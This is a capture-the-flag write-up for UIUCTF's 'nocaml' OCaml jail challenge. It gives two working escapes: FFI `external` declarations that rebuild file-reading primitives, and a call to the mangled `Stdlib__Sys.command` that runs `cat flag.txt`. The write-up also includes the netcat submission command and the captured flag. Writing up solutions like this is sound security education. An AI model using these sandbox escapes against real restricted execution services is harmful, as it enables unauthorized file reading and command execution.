This is essentially an OCaml jail.

Overview

The challenge runs user provided OCaml source code (encoded in base64). The compiler is invoked with the flag -open Nocaml, that automatically imports all the content of the module Nocaml into the scope of our code.

#excerpt from go.sh...
read -r line && echo "$line" | base64 -d > "$tmp_dir/code.ml"
ocamlc -o "$tmp_dir/out" -open Nocaml "$tmp_dir/code.ml" && "$tmp_dir/out"

In nocaml.ml we can see that all the values of the standard library are rebound to the unit type (()). Once those identifiers are shadowed we have no way to reach them.

let raise = ()
let raise_notrace = ()
let invalid_arg = ()
let failwith = ()
let ( = ) = ()
let ( <> ) = ()
let ( < ) = ()
let ( > ) = ()
let ( <= ) = ()
let ( >= ) = ()
let compare = ()
let min = ()
let max = ()
let ( == ) = ()
let ( != ) = ()
let not = ()
let ( && ) = ()
let ( || ) = ()
let __LOC__ = ()
let __FILE__ = ()
let __LINE__ = ()
let __MODULE__ = ()
(* and so on ... *)
module Stdlib = struct end
module String = struct end
module StringLabels = struct end
module Sys = struct end
module Type = struct end
(* and so on ... *)

As usual, the objective is reading the file flag.txt.

Exploitation

The first thing that came to mind was using Pervasives (the old name of the Stdlib module). Unfortunately newer versions of OCaml removed this alias.

At this point I went for the foreign function interface. With the use of the external keyword, it’s possible to declare and invoke functions from the C ABI.

We don’t have a way to create new foreign functions, but we don’t really need to! The Stdlib is always compiled and linked, even if we can’t access it from the code. This means that plenty of internal functions can be brought back with the FFI.

By diving into the standard library code I found some useful IO primitives:

  • caml_sys_open to open a file descriptor
  • caml_ml_open_descriptor_out and caml_ml_open_descriptor_in to create channels from fds
  • caml_ml_output_char and caml_ml_input_char to read and write chars

The script I used to get the flag is the following:

(* directly from Stdlib *)
type open_flag =
    Open_rdonly | Open_wronly | Open_append
  | Open_creat | Open_trunc | Open_excl
  | Open_binary | Open_text | Open_nonblock

external open_desc : string -> open_flag list -> int -> int = "caml_sys_open";;
external open_descriptor_out : int -> out_channel = "caml_ml_open_descriptor_out";;
external open_descriptor_in : int -> in_channel = "caml_ml_open_descriptor_in";;
external output_char : out_channel -> char -> unit = "caml_ml_output_char";;
external input_char : in_channel -> char = "caml_ml_input_char";;

let open_in name =
    open_descriptor_in (open_desc name [Open_rdonly; Open_text] 0)
;;

let stdout = open_descriptor_out 1;;
let flag = open_in "flag.txt";;

(* read recursively until error *)
let rec f () =
    output_char stdout (input_char flag);
    f ()
;;

f()

After this solve I also found a much shorter one (possibly unintended). To prevent module collisions the compiler mangles module names (Parent.Child becomes Parent__Child). The Stdlib is not an exception to this, and Nocaml does not block those internal names. So we can simply do:

Stdlib__Sys.command "cat flag.txt"

In both cases

$ (base64 -w0 solve.ml; echo) | ncat --no-shutdown --ssl nocaml.chal.uiuc.tf 1337
== proof-of-work: disabled ==
uiuctf{nocaml_79976241e31bee31e37c42885}

To conclude, I liked this challenge quite a bit. Coming into this with OCaml experience, the solutions felt natural and intuitive.